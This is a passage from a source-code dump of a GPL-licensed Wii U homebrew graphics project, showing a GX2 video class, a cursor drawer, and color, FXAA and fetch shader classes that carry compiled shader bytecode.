GX2SetTVEnable(bEnable ? GX2_ENABLE : GX2_DISABLE); tvEnabled = bEnable; } } void drcEnable(bool bEnable) { if(drcEnabled != bEnable) { GX2SetDRCEnable(bEnable ? GX2_ENABLE : GX2_DISABLE); drcEnabled = bEnable; } } u32 getFrameCount(void) const { return frameCount; } u32 getTvWidth(void) const { return tvColorBuffer.surface.width; } u32 getTvHeight(void) const { return tvColorBuffer.surface.height; } u32 getDrcWidth(void) const { return drcColorBuffer.surface.width; } u32 getDrcHeight(void) const { return drcColorBuffer.surface.height; } const glm::mat4 & getProjectionMtx(void) const { return projectionMtx; } const glm::mat4 & getViewMtx(void) const { return viewMtx; } f32 getWidthScaleFactor(void) const { return widthScaleFactor; } f32 getHeightScaleFactor(void) const { return heightScaleFactor; } f32 getDepthScaleFactor(void) const { return depthScaleFactor; } void screenPosToWorldRay(f32 posX, f32 posY, glm::vec3 & rayOrigin, glm::vec3 & rayDirection) { //! normalize positions posX = 2.0f * posX * getWidthScaleFactor(); posY = 2.0f * posY * getHeightScaleFactor(); glm::vec4 rayStart(posX, posY, 0.0f, 1.0f); glm::vec4 rayEnd(posX, posY, 1.0f, 1.0f); glm::mat4 IMV = glm::inverse(projectionMtx * viewMtx); glm::vec4 rayStartWorld = IMV * rayStart; rayStartWorld /= rayStartWorld.w; glm::vec4 rayEndWorld = IMV * rayEnd; rayEndWorld /= rayEndWorld.w; glm::vec3 rayDirectionWorld(rayEndWorld - rayStartWorld); rayDirectionWorld = glm::normalize(rayDirectionWorld); rayOrigin = glm::vec3(rayStartWorld); rayDirection = glm::normalize(rayDirectionWorld); } private: static void *GX2RAlloc(u32 flags, u32 size, u32 align); static void GX2RFree(u32 flags, void* p); void renderFXAA(const GX2Texture * texture, const GX2Sampler *sampler); void *gx2CommandBuffer; void *tvScanBuffer; void *drcScanBuffer; u32 frameCount; f32 widthScaleFactor; f32 heightScaleFactor; f32 depthScaleFactor; bool tvEnabled; bool drcEnabled; GX2ColorBuffer tvColorBuffer; GX2DepthBuffer tvDepthBuffer; GX2ColorBuffer drcColorBuffer; GX2DepthBuffer drcDepthBuffer; GX2ContextState *tvContextState; GX2ContextState *drcContextState; GX2ContextState *currContextState; GX2ColorBuffer *currColorBuffer; GX2DepthBuffer *currDepthBuffer; GX2Texture tvAaTexture; GX2Sampler aaSampler; glm::mat4 projectionMtx; glm::mat4 viewMtx; glm::vec2 resolution; }; #endif // __GX2_VIDEO_H_ ================================================ FILE: src/video/CursorDrawer.cpp ================================================ /**************************************************************************** * Copyright (C) 2016 Maschell * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include #include #include #include "dynamic_libs/gx2_functions.h" #include "video/shaders/ColorShader.h" #include "CursorDrawer.h" CursorDrawer *CursorDrawer::instance = NULL; CursorDrawer::CursorDrawer() { init_colorVtxs(); } CursorDrawer::~CursorDrawer() { //! destroy shaders ColorShader::destroyInstance(); if(this->colorVtxs){ free(this->colorVtxs); this->colorVtxs = NULL; } } void CursorDrawer::init_colorVtxs(){ if(!this->colorVtxs){ this->colorVtxs = (u8*)memalign(0x40, sizeof(u8) * 16); if(this->colorVtxs == NULL) return; } memset(this->colorVtxs,0xFF,16*sizeof(u8)); GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, this->colorVtxs, 16 * sizeof(u8)); } // Could be improved. It be more generic. void CursorDrawer::draw_Cursor(f32 x,f32 y) { if(this->colorVtxs == NULL){ init_colorVtxs(); return; } f32 widthScaleFactor = 1.0f / (f32)1280; f32 heightScaleFactor = 1.0f / (f32)720; int width = 20; glm::vec3 positionOffsets = glm::vec3(0.0f); positionOffsets[0] = (x-((1280)/2)+(width/2)) * widthScaleFactor * 2.0f; positionOffsets[1] = -(y-((720)/2)+(width/2)) * heightScaleFactor * 2.0f; glm::vec3 scale(width*widthScaleFactor,width*heightScaleFactor,1.0f); ColorShader::instance()->setShaders(); ColorShader::instance()->setAttributeBuffer(this->colorVtxs, NULL, 4); ColorShader::instance()->setAngle(0); ColorShader::instance()->setOffset(positionOffsets); ColorShader::instance()->setScale(scale); ColorShader::instance()->setColorIntensity(glm::vec4(1.0f)); ColorShader::instance()->draw(GX2_PRIMITIVE_QUADS, 4); } ================================================ FILE: src/video/CursorDrawer.h ================================================ /**************************************************************************** * Copyright (C) 2016 Maschell * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef _CursorDrawer_H_ #define _CursorDrawer_H_ #include #include #include #include #include "dynamic_libs/gx2_types.h" class CursorDrawer { public: static CursorDrawer *getInstance() { if(!instance) instance = new CursorDrawer(); return instance; } static void destroyInstance() { if(instance){ delete instance; instance = NULL; } } static void draw(f32 x, f32 y) { CursorDrawer * cur_instance = getInstance(); if(cur_instance == NULL) return; cur_instance->draw_Cursor(x,y); } private: //!Constructor CursorDrawer(); //!Destructor ~CursorDrawer(); static CursorDrawer *instance; void draw_Cursor(f32 x, f32 y); void init_colorVtxs(); u8 * colorVtxs = NULL; }; #endif ================================================ FILE: src/video/shaders/ColorShader.cpp ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include #include #include "ColorShader.h" static const u32 cpVertexShaderProgram[] = { 0x00000000,0x00008009,0x20000000,0x000078a0, 0x3c200000,0x88060094,0x00c00000,0x88062014, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00a11f00,0xfc00620f,0x02490001,0x80000040, 0xfd041f80,0x900c0060,0x83f9223e,0x0000803f, 0xfe282001,0x10000040,0xfe001f80,0x00080060, 0xfeac9f80,0xfd00624f,0xdb0f49c0,0xdb0fc940, 0xfea81f80,0x9000e02f,0x83f9223e,0x00000000, 0xfe041f80,0x00370000,0xffa01f00,0x80000000, 0xff101f00,0x800c0020,0x7f041f80,0x80370000, 0x0000103f,0x00000000,0x02c51f00,0x80000000, 0xfea41f00,0x80000020,0xffa09f00,0x80000040, 0xff001f80,0x800c0060,0x398ee33f,0x0000103f, 0x02c41f00,0x9000e00f,0x02c59f01,0x80000020, 0xfea81f00,0x80000040,0x02c19f80,0x9000e06f, 0x398ee33f,0x00000000,0x02c11f01,0x80000000, 0x02c49f80,0x80000060,0x02e08f01,0xfe0c620f, 0x02c01f80,0x7f00622f,0xfe242000,0x10000000, 0xfe20a080,0x10000020,0xf2178647,0x49c0e9fb, 0xfbbdb2ab,0x768ac733 }; static const u32 cpVertexShaderRegs[] = { 0x00000103,0x00000000,0x00000000,0x00000001, 0xffffff00,0xffffffff,0xffffffff,0xffffffff, 0xffffffff,0xffffffff,0xffffffff,0xffffffff, 0xffffffff,0xffffffff,0x00000000,0xfffffffc, 0x00000002,0x00000001,0x00000000,0x000000ff, 0x000000ff,0x000000ff,0x000000ff,0x000000ff, 0x000000ff,0x000000ff,0x000000ff,0x000000ff, 0x000000ff,0x000000ff,0x000000ff,0x000000ff, 0x000000ff,0x000000ff,0x000000ff,0x000000ff, 0x000000ff,0x000000ff,0x000000ff,0x000000ff, 0x000000ff,0x000000ff,0x000000ff,0x000000ff, 0x000000ff,0x000000ff,0x000000ff,0x000000ff, 0x000000ff,0x00000000,0x0000000e,0x00000010 }; static const u32 cpPixelShaderProgram[] = { 0x20000000,0x00000ca0,0x00000000,0x88062094, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00002000,0x90000000,0x0004a000,0x90000020, 0x00082001,0x90000040,0x000ca081,0x90000060, 0xbb7dd898,0x9746c59c,0xc69b00e7,0x03c36218 }; static const u32 cpPixelShaderRegs[] = { 0x00000001,0x00000002,0x14000001,0x00000000, 0x00000001,0x00000100,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x0000000f,0x00000001,0x00000010, 0x00000000 }; ColorShader * ColorShader::shaderInstance = NULL; ColorShader::ColorShader() : vertexShader(cuAttributeCount) { //! create pixel shader pixelShader.setProgram(cpPixelShaderProgram, sizeof(cpPixelShaderProgram), cpPixelShaderRegs, sizeof(cpPixelShaderRegs)); colorIntensityLocation = 0; pixelShader.addUniformVar((GX2UniformVar){ "unf_color_intensity", GX2_VAR_TYPE_VEC4, 1, colorIntensityLocation, 0xffffffff }); //! create vertex shader vertexShader.setProgram(cpVertexShaderProgram, sizeof(cpVertexShaderProgram), cpVertexShaderRegs, sizeof(cpVertexShaderRegs)); angleLocation = 0; offsetLocation = 4; scaleLocation = 8; vertexShader.addUniformVar((GX2UniformVar){ "unf_angle", GX2_VAR_TYPE_FLOAT, 1, angleLocation, 0xffffffff }); vertexShader.addUniformVar((GX2UniformVar){ "unf_offset", GX2_VAR_TYPE_VEC3, 1, offsetLocation, 0xffffffff }); vertexShader.addUniformVar((GX2UniformVar){ "unf_scale", GX2_VAR_TYPE_VEC3, 1, scaleLocation, 0xffffffff }); colorLocation = 1; positionLocation = 0; vertexShader.addAttribVar((GX2AttribVar){ "attr_color", GX2_VAR_TYPE_VEC4, 0, colorLocation }); vertexShader.addAttribVar((GX2AttribVar){ "attr_position", GX2_VAR_TYPE_VEC3, 0, positionLocation }); //! setup attribute streams GX2InitAttribStream(vertexShader.getAttributeBuffer(0), positionLocation, 0, 0, GX2_ATTRIB_FORMAT_32_32_32_FLOAT); GX2InitAttribStream(vertexShader.getAttributeBuffer(1), colorLocation, 1, 0, GX2_ATTRIB_FORMAT_8_8_8_8_UNORM); //! create fetch shader fetchShader = new FetchShader(vertexShader.getAttributeBuffer(), vertexShader.getAttributesCount()); //! model vertex has to be align and cannot be in unknown regions for GX2 like 0xBCAE1000 positionVtxs = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, cuPositionVtxsSize); if(positionVtxs) { //! position vertex structure int i = 0; positionVtxs[i++] = -1.0f; positionVtxs[i++] = -1.0f; positionVtxs[i++] = 0.0f; positionVtxs[i++] = 1.0f; positionVtxs[i++] = -1.0f; positionVtxs[i++] = 0.0f; positionVtxs[i++] = 1.0f; positionVtxs[i++] = 1.0f; positionVtxs[i++] = 0.0f; positionVtxs[i++] = -1.0f; positionVtxs[i++] = 1.0f; positionVtxs[i++] = 0.0f; GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, positionVtxs, cuPositionVtxsSize); } } ColorShader::~ColorShader() { if(positionVtxs) { free(positionVtxs); positionVtxs = NULL; } delete fetchShader; fetchShader = NULL; } ================================================ FILE: src/video/shaders/ColorShader.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef __COLOR_SHADER_H_ #define __COLOR_SHADER_H_ #include "VertexShader.h" #include "PixelShader.h" #include "FetchShader.h" class ColorShader : public Shader { private: ColorShader(); virtual ~ColorShader(); static const u32 cuAttributeCount = 2; static const u32 cuPositionVtxsSize = 4 * cuVertexAttrSize; static ColorShader *shaderInstance; FetchShader *fetchShader; VertexShader vertexShader; PixelShader pixelShader; f32 *positionVtxs; u32 angleLocation; u32 offsetLocation; u32 scaleLocation; u32 colorLocation; u32 colorIntensityLocation; u32 positionLocation; public: static const u32 cuColorVtxsSize = 4 * cuColorAttrSize; static ColorShader *instance() { if(!shaderInstance) { shaderInstance = new ColorShader(); } return shaderInstance; } static void destroyInstance() { if(shaderInstance) { delete shaderInstance; shaderInstance = NULL; } } void setShaders(void) const { fetchShader->setShader(); vertexShader.setShader(); pixelShader.setShader(); } void setAttributeBuffer(const u8 * colorAttr, const f32 * posVtxs_in = NULL, const u32 & vtxCount = 0) const { if(posVtxs_in && vtxCount) { VertexShader::setAttributeBuffer(0, vtxCount * cuVertexAttrSize, cuVertexAttrSize, posVtxs_in); VertexShader::setAttributeBuffer(1, vtxCount * cuColorAttrSize, cuColorAttrSize, colorAttr); } else { VertexShader::setAttributeBuffer(0, cuPositionVtxsSize, cuVertexAttrSize, positionVtxs); VertexShader::setAttributeBuffer(1, cuColorVtxsSize, cuColorAttrSize, colorAttr); } } void setAngle(const float & val) { VertexShader::setUniformReg(angleLocation, 4, &val); } void setOffset(const glm::vec3 & vec) { VertexShader::setUniformReg(offsetLocation, 4, &vec[0]); } void setScale(const glm::vec3 & vec) { VertexShader::setUniformReg(scaleLocation, 4, &vec[0]); } void setColorIntensity(const glm::vec4 & vec) { PixelShader::setUniformReg(colorIntensityLocation, 4, &vec[0]); } }; #endif // __COLOR_SHADER_H_ ================================================ FILE: src/video/shaders/FXAAShader.cpp ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include #include #include "FXAAShader.h" static const u32 cpVertexShaderProgram[] = { 0x00000000,0x00008009,0x20000000,0x000004a0, 0x3ca00000,0x88060094,0x00400000,0xff0f2094, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0xfd001f80,0x900c2060,0x0000803f,0x00000000, 0xc1a229f5,0xd0eddc33,0x426618fd,0x8509cfe7 }; static const u32 cpVertexShaderRegs[] = { 0x00000102,0x00000000,0x00000000,0x00000001, 0xffffffff,0xffffffff,0xffffffff,0xffffffff, 0xffffffff,0xffffffff,0xffffffff,0xffffffff, 0xffffffff,0xffffffff,0x00000000,0xfffffffe, 0x00000001,0x00000000,0x000000ff,0x000000ff, 0x000000ff,0x000000ff,0x000000ff,0x000000ff, 0x000000ff,0x000000ff,0x000000ff,0x000000ff, 0x000000ff,0x000000ff,0x000000ff,0x000000ff, 0x000000ff,0x000000ff,0x000000ff,0x000000ff, 0x000000ff,0x000000ff,0x000000ff,0x000000ff, 0x000000ff,0x000000ff,0x000000ff,0x000000ff, 0x000000ff,0x000000ff,0x000000ff,0x000000ff, 0x000000ff,0x00000000,0x0000000e,0x00000010 }; static const u32 cpPixelShaderProgram[] = { 0x20000000,0x00003ca0,0xa0000000,0x000c8080, 0x30000000,0x000010a1,0xa8000000,0x0010c080, 0x75000000,0x000088a0,0x00800100,0x88062094, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00241f02,0x1000e00f,0x00241f00,0x1000e02f, 0x00201f02,0x00000040,0x00201f00,0x00000060, 0x00011f80,0x10332060,0xff000000,0xff102200, 0xfd001f00,0x900cc020,0xffc09f01,0x90004040, 0xffc01f01,0x90000060,0x00051f80,0x1033a040, 0x0000803f,0x00000000,0xffe00f00,0x90004000, 0xff008000,0xff102220,0xffe08f00,0x90000440, 0x010c0000,0x010c4660,0xff008080,0xff004220, 0x01a01f00,0x00280000,0x01a49f00,0x00280020, 0x01a81f01,0x00280040,0xfd0c1f00,0x1028e06f, 0x00208081,0x90002000,0x8716993e,0xa245163f, 0xd578e93d,0x00000080,0x03a01f00,0x00280000, 0x03a49f00,0x00280020,0x03a81f01,0x1028e04f, 0xfd0c1f00,0x00280060,0x00a40081,0x90002020, 0x8716993e,0xa245163f,0xd578e93d,0x00000080, 0x04a01f00,0x00280000,0x04a49f00,0x1028a02f, 0x04a81f01,0x00280040,0xfd0c1f00,0x00280060, 0x7fcc1f80,0x1000c02f,0x8716993e,0xa245163f, 0xd578e93d,0x00000080,0x02a01f00,0x1028e00f, 0x02a49f00,0x00280020,0x02a81f01,0x00280040, 0xfd0c1f00,0x00280060,0x7fcc1f80,0x1000e02f, 0x8716993e,0xa245163f,0xd578e93d,0x00000080, 0x7dc41f00,0x00020000,0x7fec0f01,0x00020020, 0x7fc81f00,0x00000040,0x7dc41f00,0x00000060, 0x7fec0f81,0x9001802f,0xfef88f00,0x1000e00f, 0xfedc8f00,0x00000420,0x7de40f00,0x80010040, 0x7ec49f01,0x00001060,0xfec41f80,0x10024060, 0xfed49f00,0x80020000,0xfe141f00,0x900c802f, 0xfeac1f00,0x80000040,0xfec01f02,0x80020060, 0x7cc41f81,0x90010060,0x0000003d,0x00000000, 0xfd001f00,0x900c6000,0xfea89f00,0x80010020, 0xfec09f81,0x00020040,0x0000803f,0x0000003e, 0xfec41f81,0x00000020,0xfe041f80,0x00330000, 0x7fe01f00,0x80000040,0x7ce41f80,0x80000060, 0xfea81f00,0x80010000,0xfeac1f80,0x80010020, 0x000000c1,0x00000000,0xfea01f00,0x00020040, 0xfea41f80,0x00020060,0x00000041,0x00000000, 0x05c81f01,0x9000e00f,0x01cc9f81,0x9000e06f, 0xfeac1f00,0x01004200,0xfea01f00,0x01044220, 0xfeac9f00,0x01002240,0xfea09f00,0x01042260, 0xfe8c1f80,0x01008600,0xacaa2a3e,0xaaaa2abe, 0x7f9c1f00,0x0100a200,0x7f801f00,0x01048220, 0x7f901f80,0x0104a240,0x02080001,0x7000a00f, 0x02000000,0x7000c04f,0x02048000,0x7000e06f, 0x01a81f80,0x9000e00f,0xd578e93d,0x00000000, 0x04a80001,0x1000c00f,0x04a48000,0x00000020, 0x04a00000,0x00000040,0xfe081f00,0xe00c0060, 0xfe0c1f80,0xe00c0000,0x01a41f00,0x7f00620f, 0xfea89f00,0xfe0c822f,0xfea49f00,0xff00a24f, 0x7d001f80,0xe00c0060,0xa245163f,0x0000803e, 0x7ea01f00,0xfe0ce20f,0x01a09f80,0xfe006a4f, 0x0000803e,0x8716993e,0xfe088001,0x9001c00f, 0xfe488001,0x1002e44f,0xfea01f80,0x80000000, 0xd578e93d,0x00000000,0x7ca41f00,0x00280000, 0x7da89f00,0x00280020,0xff201f00,0x00280040, 0xfd081f80,0x00280060,0x8716993e,0xa245163f, 0x00000080,0x00000000,0x7fc81f00,0x80060000, 0xfec00f80,0x80060060,0xfec09f81,0xfb80634f, 0xfe888f00,0x7e886300,0xfea80f01,0x7f8c6320, 0xfee80f00,0x7d806340,0xfe680080,0x06846f60, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x10000100,0x01101df0,0x00008010,0xecdfea0d, 0x10000200,0x03101df0,0x00002050,0xecdfea0d, 0x10000000,0x04101df0,0x00003071,0xecdfea0d, 0x10000200,0x02101df0,0x0000b070,0xecdfea0d, 0x10000200,0x02101df0,0x00008010,0xecdfea0d, 0x10000100,0x00101df0,0x0000a051,0xecdfea0d, 0x10000400,0x04101df0,0x00008010,0xecdfea0d, 0x10000500,0x05101df0,0x00000011,0xecdfea0d, 0x10000100,0x01101df0,0x00008010,0xecdfea0d, 0xfe2e963a,0x0269a9a3,0x38f88096,0x400cf48b }; static const u32 cpPixelShaderRegs[] = { 0x00000007,0x00000002,0x04000101,0x00000000, 0x00000001,0x00000100,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x0000000f,0x00000001,0x00000010, 0x00000000 }; FXAAShader * FXAAShader::shaderInstance = NULL; FXAAShader::FXAAShader() : vertexShader(cuAttributeCount) { //! create pixel shader pixelShader.setProgram(cpPixelShaderProgram, sizeof(cpPixelShaderProgram), cpPixelShaderRegs, sizeof(cpPixelShaderRegs)); resolutionLocation = 0; pixelShader.addUniformVar((GX2UniformVar){ "unf_resolution", GX2_VAR_TYPE_VEC2, 1, resolutionLocation, 0xffffffff }); samplerLocation = 0; pixelShader.addSamplerVar((GX2SamplerVar){ "sampl_texture", GX2_SAMPLER_TYPE_2D, samplerLocation }); //! create vertex shader vertexShader.setProgram(cpVertexShaderProgram, sizeof(cpVertexShaderProgram), cpVertexShaderRegs, sizeof(cpVertexShaderRegs)); positionLocation = 0; texCoordLocation = 1; vertexShader.addAttribVar((GX2AttribVar){ "attr_position", GX2_VAR_TYPE_VEC3, 0, positionLocation }); vertexShader.addAttribVar((GX2AttribVar){ "attr_texture_coord", GX2_VAR_TYPE_VEC2, 0, texCoordLocation }); //! setup attribute streams GX2InitAttribStream(vertexShader.getAttributeBuffer(0), positionLocation, 0, 0, GX2_ATTRIB_FORMAT_32_32_32_FLOAT); GX2InitAttribStream(vertexShader.getAttributeBuffer(1), texCoordLocation, 1, 0, GX2_ATTRIB_FORMAT_32_32_FLOAT); //! create fetch shader fetchShader = new FetchShader(vertexShader.getAttributeBuffer(), vertexShader.getAttributesCount()); //! model vertex has to be align and cannot be in unknown regions for GX2 like 0xBCAE1000 posVtxs = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ciPositionVtxsSize); texCoords = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ciTexCoordsVtxsSize); //! position vertex structure and texture coordinate vertex structure int i = 0; posVtxs[i++] = -1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 0.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 0.0f; GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, posVtxs, ciPositionVtxsSize); i = 0; texCoords[i++] = 0.0f; texCoords[i++] = 1.0f; texCoords[i++] = 1.0f; texCoords[i++] = 1.0f; texCoords[i++] = 1.0f; texCoords[i++] = 0.0f; texCoords[i++] = 0.0f; texCoords[i++] = 0.0f; GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, texCoords, ciTexCoordsVtxsSize); } FXAAShader::~FXAAShader() { if(posVtxs) { free(posVtxs); posVtxs = NULL; } if(texCoords) { free(texCoords); texCoords = NULL; } delete fetchShader; fetchShader = NULL; } ================================================ FILE: src/video/shaders/FXAAShader.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef __FXAA_SHADER_H_ #define __FXAA_SHADER_H_ #include "VertexShader.h" #include "PixelShader.h" #include "FetchShader.h" class FXAAShader : public Shader { public: static FXAAShader *instance() { if(!shaderInstance) { shaderInstance = new FXAAShader(); } return shaderInstance; } static void destroyInstance() { if(shaderInstance) { delete shaderInstance; shaderInstance = NULL; } } void setShaders(void) const { fetchShader->setShader(); vertexShader.setShader(); pixelShader.setShader(); } void setAttributeBuffer() const { VertexShader::setAttributeBuffer(0, ciPositionVtxsSize, cuVertexAttrSize, posVtxs); VertexShader::setAttributeBuffer(1, ciTexCoordsVtxsSize, cuTexCoordAttrSize, texCoords); } void setResolution(const glm::vec2 & vec) { PixelShader::setUniformReg(resolutionLocation, 4, &vec[0]); } void setTextureAndSampler(const GX2Texture *texture, const GX2Sampler *sampler) const { GX2SetPixelTexture(texture, samplerLocation); GX2SetPixelSampler(sampler, samplerLocation); } private: FXAAShader(); virtual ~FXAAShader(); static const u32 cuAttributeCount = 2; static const u32 ciPositionVtxsSize = 4 * cuVertexAttrSize; static const u32 ciTexCoordsVtxsSize = 4 * cuTexCoordAttrSize; static FXAAShader *shaderInstance; FetchShader *fetchShader; VertexShader vertexShader; PixelShader pixelShader; f32 *posVtxs; f32 *texCoords; u32 samplerLocation; u32 positionLocation; u32 texCoordLocation; u32 resolutionLocation; }; #endif // __FXAA_SHADER_H_ ================================================ FILE: src/video/shaders/FetchShader.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef FETCH_SHADER_H #define FETCH_SHADER_H #include "Shader.h" class FetchShader : public Shader { public: FetchShader(GX2AttribStream * attributes, u32 attrCount, s32 type = GX2_FETCH_SHADER_TESSELATION_NONE, s32 tess = GX2_TESSELLATION_MODE_DISCRETE) : fetchShader(NULL) , fetchShaderProgramm(NULL) { u32 shaderSize = GX2CalcFetchShaderSizeEx(attrCount, type, tess); fetchShaderProgramm = memalign(GX2_SHADER_ALIGNMENT, shaderSize); if(fetchShaderProgramm) { fetchShader = new GX2FetchShader; GX2InitFetchShaderEx(fetchShader, fetchShaderProgramm, attrCount, attributes, type, tess); GX2Invalidate(GX2_INVALIDATE_CPU_SHADER, fetchShaderProgramm, shaderSize); } } virtual ~FetchShader() { if(fetchShaderProgramm) free(fetchShaderProgramm); if(fetchShader) delete fetchShader; } GX2FetchShader *getFetchShader() const { return fetchShader; } void setShader(void) const { GX2SetFetchShader(fetchShader); } protected: GX2FetchShader *fetchShader; void *fetchShaderProgramm; }; #endif // FETCH_SHADER_H ================================================ FILE: src/video/shaders/PixelShader.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you 